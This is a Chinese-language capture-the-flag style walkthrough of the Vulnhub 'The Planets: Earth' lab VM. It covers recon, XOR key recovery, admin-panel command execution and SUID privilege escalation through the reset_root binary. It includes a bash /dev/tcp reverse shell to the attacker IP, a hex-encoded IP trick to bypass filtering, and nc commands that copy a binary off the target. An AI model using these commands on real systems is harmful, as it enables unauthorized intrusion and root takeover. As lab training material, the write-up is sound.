The Planets: Earth-Vulnhub靶场

环境准备
靶场地址:https://www.vulnhub.com/entry/the-planets-earth,755/

kali攻击机:192.168.124.129
靶机:192.168.124.131

打靶过程

1.使用arp扫描探索靶机

扫描发现192.168.124.131靶机
访问192.168.124.131页面,未发现可用信息

2.使用nmap扫描靶机端口及服务情况

发现了443端口有两条dns地址
并将其加入物理机本地host解析记录中(kali使用NET模式即可访问该地址)

访问https://earth.local与https://terratest.earth.local
https://earth.local 页面下方有3条Previous Messages,应该是加密消息

https://terratest.earth.local 没发现有用信息

3.扫描两个站点的目录

访问https://earth.local/admin/login 是一个登录地址

访问https://earth.local/cgi-bin/ 拒绝访问

访问https://terratest.earth.local/robots.txt 发现一个比较特别 /testingnotes.*

经过尝试,发现为testingnotes.txt

这里提示消息是通过XOR加密,又testdata.txt用于测试加密,且地球已确认收到了消息,猜测已经成功发送过测试消息,这里还得知了terra是用户名(应该就是前面https://earth.local/admin/login的用户名了,还缺密码)
访问testdata.txt

既然已经发过测试消息,下面3条previous messages肯定有一条是测试消息,那么现在就需要知道密钥message key是什么了

4.XOR运算获取密钥

使用加解密工具[CyberChef](https://gchq.github.io/CyberChef/) 根据XOR运算的性质aXORbXORa=b,且在本靶机中,a为message,b为message key,aXORb为previous message;那么只要previous message和message做一次XOR运算,就可以得到message key

先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码

得到结果,发现都是重复的earthclimatechangebad4humans,经过测试发现是message key

前面https://earth.local/admin/login 已知用户名terra,密码未知,尝试message key,成功登录

尝试系统命令 id,可执行命令

尝试反弹shell

bash -i >& /dev/tcp/192.168.124.129/8888 0>&1

发现无法成功反弹,后尝试16进制编码再反弹
bash -i >& /dev/tcp/0xc0.0xa8.0x7c.0x81/8888 0>&1

成功反弹shell

使用find命令查找一下flag

find / -name "*flag.txt"

5.提权

现在只有网站权限,尝试提权到root
先看下suid有些什么信息,下列命令都可查看suid

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

suid提权可参考

Nmap Vim find Bash More Less Nano cp

发现一条比较特殊 reset_root

查看该命令发现大概意思是修改root密码为Earth

尝试执行reset_root命令,发现执行失败,提示触发器不存在

那么需要分析下reset_root命令,由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.124.129 2222 < /usr/bin/reset_root

接收到会自动存在家目录下
给reset_root赋予执行权限,然后使用ltrace命令跟踪库函数调用

可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在

那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth

成功su到root

root用户家目录成功发现root_flag.txt

总结

1.XOR 运算:XOR 运算的特性 aXORbXORa=b
2.SUID 提权:可见这个 SUID 不是传统那几个可执行文件,是第三方的可执行文件,同样需要关注其作用和功能

posted @ 2022-07-20 11:34  r0ure  阅读(161)  评论(0编辑  收藏  举报